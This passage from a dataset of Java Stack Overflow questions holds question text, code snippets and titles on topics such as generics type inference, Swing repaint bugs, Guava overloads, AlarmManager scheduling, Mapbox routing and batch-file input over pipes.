seems to more directly contradict the JLS :",import java.util.List ; public class Main { interface Interface1 < T > { } interface Interface2 < T > extends Interface1 < T > { } static class Bound { } interface BoundedI1 < T extends Bound > extends Interface1 < T > { } interface BoundedI2 < T extends Bound > extends Interface2 < T > { } public static void main ( String [ ] args ) { test ( ( List < BoundedI2 < ? > > ) null ) ; //test2 ( ( List < BoundedI2 < ? > > ) null ) ; } public static void test ( List < ? extends Interface2 < ? extends Bound > > list ) { test2 ( list ) ; } public static void test2 ( List < ? extends Interface1 < ? extends Bound > > list ) { } } Main.java:12 : error : method test2 in class Main can not be applied to given types ; test2 ( ( List < BoundedI2 < ? > > ) null ) ; ^ required : List < ? extends Interface1 < ? extends Bound > > found : List < BoundedI2 < ? > > reason : actual argument List < BoundedI2 < ? > > can not be converted to List < ? extends Interface1 < ? extends Bound > > by method invocation conversion public class Main { interface Interface1 < T > { } interface Interface2 < T > extends Interface1 < T > { } static class Bound { } interface BoundedI1 < T extends Bound > extends Interface1 < T > { } interface BoundedI2 < T extends Bound > extends Interface2 < T > { } public static void main ( String [ ] args ) { test ( ( List < BoundedI2 < ? > > ) null ) ; //test2 ( ( List < BoundedI2 < ? > > ) null ) ; test3 ( ( BoundedI2 < ? > ) null ) ; } public static void test ( List < ? extends Interface2 < ? extends Bound > > list ) { test2 ( list ) ; } public static void test2 ( List < ? extends Interface1 < ? extends Bound > > list ) { } public static void test3 ( Interface1 < ? extends Bound > instance ) { } },"Java Bounded Generics : Type inference bug ? ( Method invocation , JLS 15.12.2.7 )" +Java,"I 've been trying to get my head around java generics for the last few days . From what I understand , Java generics are not covariant so List < Object > is not assignment compatible with other generics ListsBut here in the following program , nameAndPhone.collect ( ) method returns a List of type List < NamePhone > and when I replace reference variable List < NamePhone > npList with List < Object > npList the program still compiles without warnings.I tried this with a similar method returning List < String > as well , and using List < Object > reference variable did not result in any error . Why is List < Object > assignment compatible with List < NamePhone > here ?","import java.util . * ; import java.util.stream . * ; class NamePhoneEmail { String name ; String phonenum ; String email ; NamePhoneEmail ( String n , String p , String e ) { name = n ; phonenum = p ; email = e ; } } class NamePhone { String name ; String phonenum ; NamePhone ( String n , String p ) { name = n ; phonenum = p ; } } public class CollectDemo { public static void main ( String [ ] args ) { ArrayList < NamePhoneEmail > myList = new ArrayList < > ( ) ; myList.add ( new NamePhoneEmail ( `` Larry '' , `` 555-5555 '' , `` Larry @ HerbSchildt.com '' ) ) ; myList.add ( new NamePhoneEmail ( `` James '' , `` 555-4444 '' , `` James @ HerbSchildt.com '' ) ) ; Stream < NamePhone > nameAndPhone = myList.stream ( ) .map ( ( a ) - > new NamePhone ( a.name , a.phonenum ) ) ; List < NamePhone > npList = nameAndPhone.collect ( Collectors.toList ( ) ) ; } }",List < Object > variable being assignment compatible with other generic Lists like List < String > in Java +Java,"My test page contains a link with onclick making an ajax call as follows When the above link is clicked , a report get downloaded to default download location . I 'm testing it with java selenium It works fine with ChromeDriver , but does n't work with PhantomJSDriver . No error is thrown . It kindof executes but nothing happens . The report is not downloaded How can I make it work with PhantomJSDriver ?","< a title= '' test delim '' alt= '' '' onclick= '' $ find ( 'MetricsReport ' ) .exportData ( 'TAB ' ) ; '' href= '' javascript : void ( 0 ) '' style= '' color : rgb ( 50 , 50 , 50 ) ; . . . `` > Click to download < /a > ( ( JavascriptExecutor ) driver ) .executeScript ( `` $ find ( 'MetricsReport ' ) .exportData ( 'TAB ' ) ; '' ) ;",How to execute AJAX call with PhantomJSDriver ? +Java,I am trying to add an inner class ( e.g . interface Listener { } ) to a TypeSpec . Also I want to add a field of type Listener to my TypeSpec . How could i achieve something like that ?,TypeSpec outerClass = ... ; TypeSpec innerClass = ... ; outerClass.addType ( innerClass ) ; outerClass.addField ( ... ) ; // How can i add a field of type innerClass ?,JavaPoet - Field of type inner class +Java,I was wondering if it is more efficient to have one single array store some kind of data than having multiple arrays storing the same information .,"int a1 ; int a2 ; int b1 ; int b2 ; int array1 [ ] = { a1 , b1 , a2 , b2 } ; // Is this faster than 2 arrays ? int array2A [ ] = { a1 , a2 } ; int array2B [ ] = { b1 , b2 } ;",Is a single array faster than 2 different arrays ? +Java,"I 'm a little bit confused about Java lambdas and method references behaviour . For ex. , we have this code : Output : This works as expected , but if we replace s - > sBuilder.append ( s ) withsBuilder : :appendthe output will be : Have you any ideas how to explain this ? This is n't the same things ? Thanks .",import java.util.function.Consumer ; public class Main { private static StringBuilder sBuilder = new StringBuilder ( `` 1 '' ) ; public static void main ( String [ ] args ) { Consumer < String > consumer = s - > sBuilder.append ( s ) ; sBuilder = new StringBuilder ( `` 2 '' ) ; consumer.accept ( `` 3 '' ) ; System.out.println ( sBuilder ) ; } } 23 2,Why do equivalent lambda expression and method reference behave differently when capturing static field value ? +Java,"I am trying to retrieve the list of time stored in Sqlite ( it has both hours and minutes ) into the alarm manager to perform a reminder via a notification . My approach was to loop all the scheduled time stored in Sqlite into the alarm manager to perform notifications basing on the list of time stored , but the notification does n't beep.But when i specify one time ( hour and minute ) it works . Below is the code sample which works , but i do n't want this : But when it comes to loop several time schedules it does n't work , and it 's the approach i want , below is the code sample , what am i missing ?","alarmManager = ( AlarmManager ) getSystemService ( ALARM_SERVICE ) ; Calendar calendar = Calendar.getInstance ( ) ; calendar.set ( Calendar.HOUR_OF_DAY , 10 ) ; calendar.set ( Calendar.MINUTE , 45 ) ; Intent myIntent = new Intent ( ListRemainder.this , AlarmReceiver.class ) ; pendingIntent = PendingIntent.getBroadcast ( ListRemainder.this , 0 , myIntent , 0 ) ; alarmManager.set ( AlarmManager.RTC , calendar.getTimeInMillis ( ) , pendingIntent ) ; //listOfTime is the one which contains the list of stored scheduled time in Sqlite.for ( int i = 0 ; i < listOfTime.size ( ) ; i++ ) { int hour = Integer.parseInt ( listOfTime.get ( i ) .toString ( ) .substring ( 0 , 2 ) ) ; int minute = Integer.parseInt ( listOfTime.get ( i ) .toString ( ) .substring ( 3 ) ) ; System.out.print ( `` Hour : `` + hour + `` Minute : `` + minute ) ; Log.d ( `` MyActivity '' , `` Alarm On '' ) ; Calendar calendar = Calendar.getInstance ( ) ; calendar.set ( Calendar.HOUR_OF_DAY , hour ) ; calendar.set ( Calendar.MINUTE , minute ) ; Intent myIntent = new Intent ( ListRemainder.this , AlarmReceiver.class ) ; pendingIntent = PendingIntent.getBroadcast ( ListRemainder.this , 0 , myIntent , 0 ) ; alarmManager.set ( AlarmManager.RTC , calendar.getTimeInMillis ( ) , pendingIntent ) ; }",How to cater the list of scheduled time in an Alarm Manager to push notifications +Java,background : I once answered this question that was about flushing two input strings from a Java process to a batch script . Since I found a workaround solution I am still very interested to solve the remaining mystery and find out why the obvious solution is not working.problem description See this very simple batch script : If you run this batch script with Java using ProcessBuilder and flush two input strings into it you will notice that only the first input string will be consumed while the second will be ignored.I found out that SET /P command consumes input from pipes when CRLF token is foundby timeoutby full buffer ( 1024 Bytes ) My accepted workaround was based on the last two options by using a Thread.sleep ( 100 ) statement between the inputs or using a 1024 ByteBuffer for each input . It always works for single input or in this case the first input because closing the stream has the effectthat the batch script reads one input and empty returns all following SET /P statements.the questionWhy is the first option by using the CRLF token `` input\r\n '' not working ? researchI already tried to workaround the String.getBytes ( ) method by creating a Byte Buffer myself using \x0d and \x0a as last bytes for CRLF token but it has no effect.And I tried all other OutputStream wrappers like PrintWriter to check if there is a problem with the flush ( ) implementation without any success.I created a C++ program that basically does the same as the java programm by using CreateProcess and stangely it works like a charm.testing codeNot working Java code : Full working C++ code : the question againThe problem does not make any sense to me and is bugging me a lot . Why does sending the CRLF token from Java does not have any effect on batch file inputs while it does when sending from C++ program ?,"@ ECHO OFFSET /P input1=1st Input : SET /P input2=2nd Input : ECHO 1st Input : % input1 % and 2nd Input : % input2 % ProcessBuilder builder = new ProcessBuilder ( `` test.bat '' ) ; Process process = builder.start ( ) ; OutputStream out = process.getOutputStream ( ) ; out.write ( `` foo\r\n '' .getBytes ( ) ) ; out.flush ( ) ; out.write ( `` bar\r\n '' .getBytes ( ) ) ; out.flush ( ) ; out.close ( ) ; BufferedReader in = new BufferedReader ( new InputStreamReader ( process.getInputStream ( ) ) ) ; String line ; while ( ( line = in.readLine ( ) ) ! = null ) System.out.println ( line ) ; in.close ( ) ; DWORD dwWritten ; char cmdline [ ] = `` test.bat '' ; CHAR Input1 [ ] = `` foo\r\n '' ; CHAR Input2 [ ] = `` bar\r\n '' ; HANDLE hStdInRd = NULL ; HANDLE hStdInWr = NULL ; SECURITY_ATTRIBUTES saAttr ; PROCESS_INFORMATION piProcInfo ; STARTUPINFO siStartInfo ; // Create Pipe saAttr.nLength = sizeof ( SECURITY_ATTRIBUTES ) ; saAttr.bInheritHandle = TRUE ; saAttr.lpSecurityDescriptor = NULL ; CreatePipe ( & hStdInRd , & hStdInWr , & saAttr , 0 ) ; SetHandleInformation ( hStdInWr , HANDLE_FLAG_INHERIT , 0 ) ; // Create ProcessZeroMemory ( & piProcInfo , sizeof ( PROCESS_INFORMATION ) ) ; ZeroMemory ( & siStartInfo , sizeof ( STARTUPINFO ) ) ; siStartInfo.cb = sizeof ( STARTUPINFO ) ; siStartInfo.hStdError = GetStdHandle ( STD_ERROR_HANDLE ) ; siStartInfo.hStdOutput = GetStdHandle ( STD_OUTPUT_HANDLE ) ; siStartInfo.hStdInput = hStdInRd ; siStartInfo.dwFlags |= STARTF_USESTDHANDLES ; CreateProcess ( NULL , cmdline , NULL , NULL , TRUE , 0 , NULL , NULL , & siStartInfo , & piProcInfo ) ; CloseHandle ( piProcInfo.hProcess ) ; CloseHandle ( piProcInfo.hThread ) ; // Write to PipeWriteFile ( hStdInWr , Input1 , ( DWORD ) strlen ( Input1 ) , & dwWritten , NULL ) ; FlushFileBuffers ( hStdInWr ) ; WriteFile ( hStdInWr , Input2 , ( DWORD ) strlen ( Input2 ) , & dwWritten , NULL ) ; FlushFileBuffers ( hStdInWr ) ; CloseHandle ( hStdInWr ) ;",Why does the Java CRLF token does not work with batch file inputs ? +Java,"As I know , one of the main purposes of generics in Java is providing compile-time type safety . If it gets compiled , the code will run without issues.Then why is the following code being compiled ? It compiles fine . Where is my type-safe compilation ? The getList ( ) method has nothing in common with the String class .",public static void main ( String [ ] args ) { String s = getList ( ) ; } private static < T extends List > T getList ( ) { return ( T ) new ArrayList ( ) ; },String gets assigned to a List without a compilation error +Java,"Sorry for the poor question title , I 'm stumped as to the cause of this bug and did n't know how to phrase the question.I 'm learning basic Swing and doing this exercise from the online book Introduction to Programming with Java.I have n't followed the instructions to the letter and instead am trying to do this : have a window that shows a visual representation of two dicewhen you click on one of the dice , it 'rolls ' and shows the new valueMy implementation : a very basic JDie object that extends JPaneloverridden paintComponent method to draw the die representationchange die color every time value is changed just for a visual clue added a listener to 'roll ' the dice when mouse is pressed and thenrepaintThe bug is quite specific : Run the DieTest main methodResize the window to fit the two dieClick on the second die to roll itNow click on the first die to roll itThe second die 's value changes back to its original valueIf you resize the window the second die 's value will also change backIf I click on the dice to roll them , before I resize the window , the bug wo n't appear ... I guess I 'm making a basic mistake somewhere which has just disguised itself as this strange behaviour.I 've tried to whittle down the code as much as I could , it took ages just working out when the bug appeared and when it did n't : -- -- -- -- -- -- -- EDIT -- -- -- -- -- -- -- -- -Running the code again , I 've now noticed it does n't happen 100 % of the time , but the bug is still there . Here 's a gif that I just took of it bugging that might illustrate the problem better : You can clearly see the original value with the original color is being redrawn when I click the first die again.When I resize the window , the second die 's value jumps back one , to the previous value it had ... I really do n't understand this ... -- -- -- -- -- -- -- -EDIT 2 -- -- -- -- -- -- -- -- -- -- -Tried the same code on another computer ( mac ) but could n't replicatethe problem.Compiled and ran the code on my computer outside of Eclipse , couldn'treplicate the problem.Ran the code that Eclipse had compiled from command line , only gotthe problem once , could n't replicate it today.Running the code from Eclipse , I still get the problem about 1 in5-10 times ? If it does n't show up on the first 'pass ' as it were , itdoes n't show up at all . The gif illustrates it well.So it seems my computer set up has some bearing on this as well , details are : Windows 7 64 bitEclipse Kepler Service Release 1Java Version 7 Update 51Java SE Development Kit 7 Update 3 ( 64 bit ) This is a tricky one as I know longer know whether it 's my code or some other program 's that is causing the problem . As a newb how can I know whether any future problems are a result of my bad programming or something else ... frustrating. -- -- -- -- -- EDIT 3 -- -- -- -- -- -As a quick investigation into the concurrency side of things : I set all the instance fields to volatileI set all the methods including paintComponent to synchronizedI removed the Math.random ( ) call ( although I read another thread saying that this was the thread safe implementation ) and replaced it with instance Random objects insteadUnfortunately I still get the visual switchback.Another thing I 've noticed is that it seems to be happening a lot less often now about 1 in 10 times . I keep on getting my hopes up that it 's fixed , and then the next attempt bugs again . In my original program I was working on , it seemed more like 1 in 3 ( I 've completely changed that program now so do n't have it to hand ) . -- -- -- -- EDIT 4 -- -- -- -- -I have come up with a slightly more stripped down version which no longer uses any random values and still produces the visual switchback . It seems to happen more often with this code : A couple of observations : afaict the panels must be overlapping at firstif I use a flow layout , increase the size of the window , or any waythat stops the panels from overlapping initially , then I do n't seemto get the problem ( or maybe it just happens much less often ? )","import java.awt . * ; import java.awt.event . * ; import javax.swing . * ; class JDie extends JPanel { private Color color ; private int value ; JDie ( ) { value = getValue ( ) ; color = Color.BLACK ; //add listener addMouseListener ( new MouseAdapter ( ) { @ Override public void mousePressed ( MouseEvent arg0 ) { value = getValue ( ) ; //'roll ' the die repaint ( ) ; } } ) ; } /*private helper methods */ private int getValue ( ) { int v = ( int ) ( Math.random ( ) *6 ) + 1 ; //change color just to show that the //value has changed color = getRandomColor ( ) ; return v ; } private Color getRandomColor ( ) { float r = ( float ) Math.random ( ) ; float g = ( float ) Math.random ( ) ; float b = ( float ) Math.random ( ) ; return new Color ( r , g , b ) ; } //draws the pips for the die @ Override public void paintComponent ( Graphics g ) { super.paintComponent ( g ) ; g.setColor ( color ) ; //draw pips //set pip size int pip_side = 10 ; switch ( value ) { case 1 : g.fillRect ( 3*pip_side , 3*pip_side , pip_side , pip_side ) ; break ; case 2 : g.fillRect ( 5*pip_side , pip_side , pip_side , pip_side ) ; g.fillRect ( pip_side , 5*pip_side , pip_side , pip_side ) ; break ; case 3 : g.fillRect ( 5*pip_side , pip_side , pip_side , pip_side ) ; g.fillRect ( pip_side , 5*pip_side , pip_side , pip_side ) ; g.fillRect ( 3*pip_side , 3*pip_side , pip_side , pip_side ) ; break ; case 4 : g.fillRect ( pip_side , pip_side , pip_side , pip_side ) ; g.fillRect ( 5*pip_side , 5*pip_side , pip_side , pip_side ) ; g.fillRect ( 5*pip_side , pip_side , pip_side , pip_side ) ; g.fillRect ( pip_side , 5*pip_side , pip_side , pip_side ) ; break ; case 5 : g.fillRect ( pip_side , pip_side , pip_side , pip_side ) ; g.fillRect ( 5*pip_side , 5*pip_side , pip_side , pip_side ) ; g.fillRect ( 5*pip_side , pip_side , pip_side , pip_side ) ; g.fillRect ( pip_side , 5*pip_side , pip_side , pip_side ) ; g.fillRect ( 3*pip_side , 3*pip_side , pip_side , pip_side ) ; break ; case 6 : g.fillRect ( pip_side , pip_side , pip_side , pip_side ) ; g.fillRect ( 5*pip_side , 5*pip_side , pip_side , pip_side ) ; g.fillRect ( 5*pip_side , pip_side , pip_side , pip_side ) ; g.fillRect ( pip_side , 5*pip_side , pip_side , pip_side ) ; g.fillRect ( pip_side , 3*pip_side , pip_side , pip_side ) ; g.fillRect ( 5*pip_side , 3*pip_side , pip_side , pip_side ) ; break ; } } } public class DieTest extends JFrame { DieTest ( ) { setLayout ( new GridLayout ( ) ) ; add ( new JDie ( ) ) ; add ( new JDie ( ) ) ; setDefaultCloseOperation ( JFrame.EXIT_ON_CLOSE ) ; //if I set the size smaller than the JDie is displaying //and resize the window before 'rolling ' the dice //then the bug appears ... ? ! setSize ( 80 , 80 ) ; //setting the size larger than both JDie //and it works fine whether you resize or not// setSize ( 200 , 200 ) ; setVisible ( true ) ; } public static void main ( String [ ] args ) { SwingUtilities.invokeLater ( new Runnable ( ) { @ Override public void run ( ) { new DieTest ( ) ; } } ) ; } } import java.awt . * ; import java.awt.event . * ; import javax.swing . * ; public class ColorPanelsWindow extends JFrame { class ColorPanel extends JPanel { //color starts off black //once it is changed should never be //black again private Color color = Color.BLACK ; ColorPanel ( ) { //add listener //click on panel to rotate color addMouseListener ( new MouseAdapter ( ) { @ Override public void mousePressed ( MouseEvent arg0 ) { color = rotateColor ( ) ; repaint ( ) ; } } ) ; } //rotates the color black/blue > red > green > blue private Color rotateColor ( ) { if ( color==Color.BLACK || color == Color.BLUE ) return Color.RED ; if ( color==Color.RED ) return Color.GREEN ; else return Color.BLUE ; } @ Override public void paintComponent ( Graphics g ) { g.setColor ( color ) ; g.fillRect ( 0 , 0 , 100 , 100 ) ; } } ColorPanelsWindow ( ) { setDefaultCloseOperation ( JFrame.EXIT_ON_CLOSE ) ; setLayout ( new GridLayout ( 1,0 ) ) ; add ( new ColorPanel ( ) ) ; add ( new ColorPanel ( ) ) ; //the size must be set so that the window is too small // and the two ColorPanels are overlapping setSize ( 40 , 40 ) ; //setSize ( 300 , 200 ) ; setVisible ( true ) ; } public static void main ( String [ ] args ) { SwingUtilities.invokeLater ( new Runnable ( ) { @ Override public void run ( ) { new ColorPanelsWindow ( ) ; } } ) ; } }",Mystery ( concurrency/component drawing ? ) bug in very simple Swing dice program +Java,I have read source code of java.lang.Number and I wondered why intValue ( ) longValue ( ) floatValue ( ) doubleValue ( ) are abstract but shortValue ( ) byteValue ( ) a concrete.source code : Why java founders have made it so ? I do n't see big differencies between these method . Its seem as related.P.S.from Long class : from Integer classHence we are see a lot of same code . I think copy paste development is bad but I think that Java founders have reasons for this .,public abstract class Number implements java.io.Serializable { public abstract int intValue ( ) ; public abstract long longValue ( ) ; public abstract float floatValue ( ) ; public abstract double doubleValue ( ) ; public byte byteValue ( ) { return ( byte ) intValue ( ) ; } public short shortValue ( ) { return ( short ) intValue ( ) ; } private static final long serialVersionUID = -8742448824652078965L ; } public byte byteValue ( ) { return ( byte ) value ; } public short shortValue ( ) { return ( short ) value ; } public int intValue ( ) { return ( int ) value ; } public long longValue ( ) { return ( long ) value ; } public float floatValue ( ) { return ( float ) value ; } public double doubleValue ( ) { return ( double ) value ; } public byte byteValue ( ) { return ( byte ) value ; } public short shortValue ( ) { return ( short ) value ; } public int intValue ( ) { return value ; } public long longValue ( ) { return ( long ) value ; } public float floatValue ( ) { return ( float ) value ; } public double doubleValue ( ) { return ( double ) value ; },Why shortValue ( ) method are concrete but intValue ( ) is abstract into java.lang.Number ? +Java,I often convert lists like thatis there any shorter version for this ?,myList.stream ( ) .map ( el - > el.name ) .collect ( Collectors.toList ( ) ),Shortcut for list- > stream- > map ( ) - > list +Java,"I am trying to code a program where I am trying to provide the variable names in Devanagari Script of Sanskrit . EXample : When I try to execute this Java code , then it gives me the errorErrorHow can i properly execute this code ?","class फिल्म { public static void main ( String args [ ] ) { String गीत = `` Songs '' ; System.out.println ( गीत ) ; } } javac program.java display.java:1 : error : illegal character : \0 ■c l a s s + ? 2 M . ^display.java:2 : error : illegal character : \0^display.java:3 : error : illegal character : \0 { ^display.java:3 : error : illegal character : \0 { ^display.java:4 : error : illegal character : \0^display.java:5 : error : illegal character : \0 p u b l i c s t a t i c v o i d m a i n ( S t r i n g a r g s [ ] ) ^display.java:5 : error : illegal character : \0 p u b l i c s t a t i c v o i d m a i n ( S t r i n g a r g s [ ] ) ^display.java:5 : error : illegal character : \0 p u b l i c s t a t i c v o i d m a i n ( S t r i n g a r g s [ ] ) ^display.java:5 : error : illegal character : \0 p u b l i c s t a t i c v o i d m a i n ( S t r i n g a r g s [ ] ) ^display.java:5 : error : illegal character : \0 p u b l i c s t a t i c v o i d m a i n ( S t r i n g a r g s [ ] ) ^display.java:5 : error : class , interface , or enum expected p u b l i c s t a t i c v o i d m a i n ( S t r i n g a r g s [ ] ) ^display.java:5 : error : illegal character : \0 p u b l i c s t a t i c v o i d m a i n ( S t r i n g a r g s [ ] ) ^display.java:5 : error : illegal character : \0 p u b l i c s t a t i c v o i d m a i n ( S t r i n g a r g s [ ] ) ^display.java:5 : error : illegal character : \0 p u b l i c s t a t i c v o i d m a i n ( S t r i n g a r g s [ ] ) ^display.java:5 : error : illegal character : \0 p u b l i c s t a t i c v o i d m a i n ( S t r i n g a r g s [ ] ) ^display.java:5 : error : illegal character : \0 p u b l i c s t a t i c v o i d m a i n ( S t r i n g a r g s [ ] ) ^display.java:6 : error : illegal character : \0^display.java:7 : error : illegal character : \0 { ^display.java:7 : error : illegal character : \0 { ^display.java:7 : error : illegal character : \0 { ^display.java:8 : error : illegal character : \0^display.java:9 : error : illegal character : \0 S t r i n g ↨ @ $ = `` S o n g s `` ; ^display.java:9 : error : illegal character : \0 S t r i n g ↨ @ $ = `` S o n g s `` ; ^display.java:9 : error : illegal character : \0 S t r i n g ↨ @ $ = `` S o n g s `` ; ^display.java:9 : error : illegal character : \0 S t r i n g ↨ @ $ = `` S o n g s `` ; ^display.java:9 : error : illegal character : \23 S t r i n g ↨ @ $ = `` S o n g s `` ; ^display.java:9 : error : illegal character : \0 S t r i n g ↨ @ $ = `` S o n g s `` ; ^display.java:9 : error : illegal character : \0 S t r i n g ↨ @ $ = `` S o n g s `` ; ^display.java:9 : error : illegal character : \0 S t r i n g ↨ @ $ = `` S o n g s `` ; ^display.java:9 : error : class , interface , or enum expected S t r i n g ↨ @ $ = `` S o n g s `` ; ^display.java:9 : error : illegal character : \0 S t r i n g ↨ @ $ = `` S o n g s `` ; ^display.java:9 : error : illegal character : \0 S t r i n g ↨ @ $ = `` S o n g s `` ; ^display.java:10 : error : illegal character : \0^display.java:11 : error : illegal character : \0 S y s t e m . o u t . p r i n t l n ( ↨ @ $ ) ; ^display.java:11 : error : illegal character : \0 S y s t e m . o u t . p r i n t l n ( ↨ @ $ ) ; ^display.java:11 : error : illegal character : \0 S y s t e m . o u t . p r i n t l n ( ↨ @ $ ) ; ^display.java:11 : error : class , interface , or enum expected S y s t e m . o u t . p r i n t l n ( ↨ @ $ ) ; ^display.java:11 : error : illegal character : \0 S y s t e m . o u t . p r i n t l n ( ↨ @ $ ) ; ^display.java:11 : error : illegal character : \0 S y s t e m . o u t . p r i n t l n ( ↨ @ $ ) ; ^display.java:11 : error : illegal character : \0 S y s t e m . o u t . p r i n t l n ( ↨ @ $ ) ; ^display.java:11 : error : illegal character : \23 S y s t e m . o u t . p r i n t l n ( ↨ @ $ ) ; ^display.java:11 : error : class , interface , or enum expected S y s t e m . o u t . p r i n t l n ( ↨ @ $ ) ; ^display.java:11 : error : illegal character : \0 S y s t e m . o u t . p r i n t l n ( ↨ @ $ ) ; ^display.java:11 : error : illegal character : \0 S y s t e m . o u t . p r i n t l n ( ↨ @ $ ) ; ^display.java:12 : error : illegal character : \0^display.java:13 : error : illegal character : \0 } ^display.java:13 : error : illegal character : \0 } ^display.java:13 : error : class , interface , or enum expected } ^display.java:13 : error : illegal character : \0 } ^display.java:14 : error : illegal character : \0^display.java:15 : error : illegal character : \0 } ^display.java:15 : error : illegal character : \0 } ^52 errors",Java Unicode Variable names Devanagari +Java,"I 'm using the Disruptor framework for performing fast Reed-Solomon error correction on some data . This is my setup : The producer reads blocks of 2064 bytes from disk into a byte buffer.The 8 RS decoder consumers perform Reed-Solomon error correction in parallel.The consumer writes files to disk.In the disruptor DSL terms , the setup looks like this : When I do n't have a disk output consumer ( no .then ( writerHandler ) part ) , the measured throughput is 80 M/s , as soon as I add a consumer , even if it writes to /dev/null , or does n't even write , but it is declared as a dependent consumer , performance drops to 50-65 M/s.I 've profiled it with Oracle Mission Control , and this is what the CPU usage graph shows : Without an additional consumer : With an additional consumer : What is this gray part in the graph and where is it coming from ? I suppose it has to do with thread synchronisation , but I ca n't find any other statistic in Mission Control that would indicate any such latency or contention .","RS Decoder 1 / \Producer- ... - Consumer \ / RS Decoder 8 RsFrameEventHandler [ ] rsWorkers = new RsFrameEventHandler [ numRsWorkers ] ; for ( int i = 0 ; i < numRsWorkers ; i++ ) { rsWorkers [ i ] = new RsFrameEventHandler ( numRsWorkers , i ) ; } disruptor.handleEventsWith ( rsWorkers ) .then ( writerHandler ) ;",What causes this performance drop ? +Java,"While upgrading an app to Java 8 I ran into a weird issue with google guava 's newArrayList in a couple of places.Take a look at this example : In the first example when I get the UnmodifiableIterator first into its own variable and then call newArrayList I get what I expect , which is the Iterators values copied into a new List.In the second example where the forEnumeration goes directly into the newArrayList method I get back a List with a containing the iterator ( which contains the value ) .According to Intellij it thinks that both method calls should be to newArrayList ( Iterator < ? extends E > elements ) but I found when debugging that the second call actually goes to newArrayList ( E ... elements ) .It only happens when I compile with the Oracle JDK8 targeted to Java8 . If I target to 7 it works fine .","import com.google.common.collect.UnmodifiableIterator ; import javax.naming.NamingException ; import javax.naming.directory.Attribute ; import javax.naming.directory.BasicAttribute ; import java.util.ArrayList ; import static com.google.common.collect.Iterators.forEnumeration ; import static com.google.common.collect.Lists.newArrayList ; public class NewArrayListIssue { public static void main ( String [ ] args ) throws NamingException { UnmodifiableIterator < ? > elements = forEnumeration ( getEnumeration ( ) .getAll ( ) ) ; System.out.println ( `` declarefirst = `` + newArrayList ( elements ) ) ; // calls newArrayList ( Iterator < ? extends E > elements ) ArrayList directCopy = newArrayList ( forEnumeration ( getEnumeration ( ) .getAll ( ) ) ) ; System.out.println ( `` useDirectly = `` + directCopy ) ; //calls newArrayList ( E ... elements ) } public static Attribute getEnumeration ( ) { return new BasicAttribute ( `` foo '' ,1 ) ; } }",Java 8 Compiler Confusion With overloaded methods +Java,"I 'm attempting to show a route on a map for two specified points , with the end goal of generating step-by-step directions . I 'm using the Directions API provided by MapBox and have structured my code based off of this example.The map appears to load as expected and there are no errors in regards to displaying the map , however there is no route/line present for the specified call , or anywhere on the map for that matter.I have attempted to use different origins and destinations however still fail to generate the expected result as demonstrated in the example provided.Code :","@ SuppressWarnings ( `` deprecation '' ) public class MainActivity extends AppCompatActivity implements OnMapReadyCallback , PermissionsListener , View.OnClickListener , MapboxMap.OnMapClickListener , MapboxMap.OnMarkerClickListener { private MapView mapView ; private MapboxMap mapboxMap ; private static final String TAG = `` MainActivity '' ; private MapboxDirections client ; private DirectionsRoute currentRoute ; private static final String ROUTE_LAYER_ID = `` route-layer-id '' ; private static final String ROUTE_SOURCE_ID = `` route-source-id '' ; @ Override protected void onCreate ( Bundle savedInstanceState ) { super.onCreate ( savedInstanceState ) ; // Mapbox access token is configured here . Mapbox.getInstance ( this , getString ( R.string.mapbox_access_token ) ) ; setContentView ( R.layout.activity_main ) ; mapView = findViewById ( R.id.mapView ) ; mapView.onCreate ( savedInstanceState ) ; mapView.getMapAsync ( this ) ; } @ Override public void onMapReady ( @ NonNull final MapboxMap mapboxMap ) { this.mapboxMap = mapboxMap ; mapboxMap.addOnMapClickListener ( this ) ; mapboxMap.setStyle ( Style.MAPBOX_STREETS , new Style.OnStyleLoaded ( ) { @ Override public void onStyleLoaded ( @ NonNull Style style ) { enableLocationComponent ( style ) ; Point origin = Point.fromLngLat ( -3.588098 , 37.176164 ) ; Point destination = Point.fromLngLat ( -3.601845 , 37.184080 ) ; initSource ( style ) ; initLayers ( style ) ; getRoute ( origin , destination ) ; } } ) ; mapboxMap.setOnMarkerClickListener ( this ) ; } private void initLayers ( @ NonNull Style loadedMapStyle ) { LineLayer routeLayer = new LineLayer ( ROUTE_LAYER_ID , ROUTE_SOURCE_ID ) ; routeLayer.setProperties ( lineCap ( Property.LINE_CAP_ROUND ) , lineJoin ( Property.LINE_JOIN_ROUND ) , lineWidth ( 5f ) , lineColor ( Color.parseColor ( `` # 009688 '' ) ) ) ; loadedMapStyle.addLayer ( routeLayer ) ; } private void initSource ( @ NonNull Style loadedMapStyle ) { loadedMapStyle.addSource ( new GeoJsonSource ( ROUTE_SOURCE_ID , FeatureCollection.fromFeatures ( new Feature [ ] { } ) ) ) ; } private void getRoute ( Point origin , Point destination ) { client = MapboxDirections.builder ( ) .origin ( origin ) .destination ( destination ) .overview ( DirectionsCriteria.OVERVIEW_FULL ) .profile ( DirectionsCriteria.PROFILE_DRIVING ) .accessToken ( Mapbox.getAccessToken ( ) ) .build ( ) ; client.enqueueCall ( new Callback < DirectionsResponse > ( ) { @ Override public void onResponse ( Call < DirectionsResponse > call , Response < DirectionsResponse > response ) { // You can get the generic HTTP info about the response Timber.d ( `` Response code : `` + response.code ( ) ) ; if ( response.body ( ) == null ) { Timber.e ( `` No routes found , make sure you set the right user and access token . `` ) ; return ; } else if ( response.body ( ) .routes ( ) .size ( ) < 1 ) { Timber.e ( `` No routes found '' ) ; return ; } // Get the directions route currentRoute = response.body ( ) .routes ( ) .get ( 0 ) ; // Make a toast which displays the route 's distance /*Toast.makeText ( MainActivity.this , String.format ( getString ( R.string.directions_activity_toast_message ) , currentRoute.distance ( ) ) , Toast.LENGTH_SHORT ) .show ( ) ; */ if ( mapboxMap ! = null ) { mapboxMap.getStyle ( new Style.OnStyleLoaded ( ) { @ Override public void onStyleLoaded ( @ NonNull Style style ) { // Retrieve and update the source designated for showing the directions route GeoJsonSource source = style.getSourceAs ( ROUTE_SOURCE_ID ) ; // Create a LineString with the directions route 's geometry and// reset the GeoJSON source for the route LineLayer source if ( source ! = null ) { Timber.d ( `` onResponse : source ! = null '' ) ; source.setGeoJson ( FeatureCollection.fromFeature ( Feature.fromGeometry ( LineString.fromPolyline ( currentRoute.geometry ( ) , PRECISION_6 ) ) ) ) ; } } } ) ; } } @ Override public void onFailure ( Call < DirectionsResponse > call , Throwable throwable ) { Timber.e ( `` Error : `` + throwable.getMessage ( ) ) ; Toast.makeText ( MainActivity.this , `` Error : `` + throwable.getMessage ( ) , Toast.LENGTH_SHORT ) .show ( ) ; } } ) ; }",Using MapBox to generate a route and directions for two locations +Java,"It 's tough to make a concise 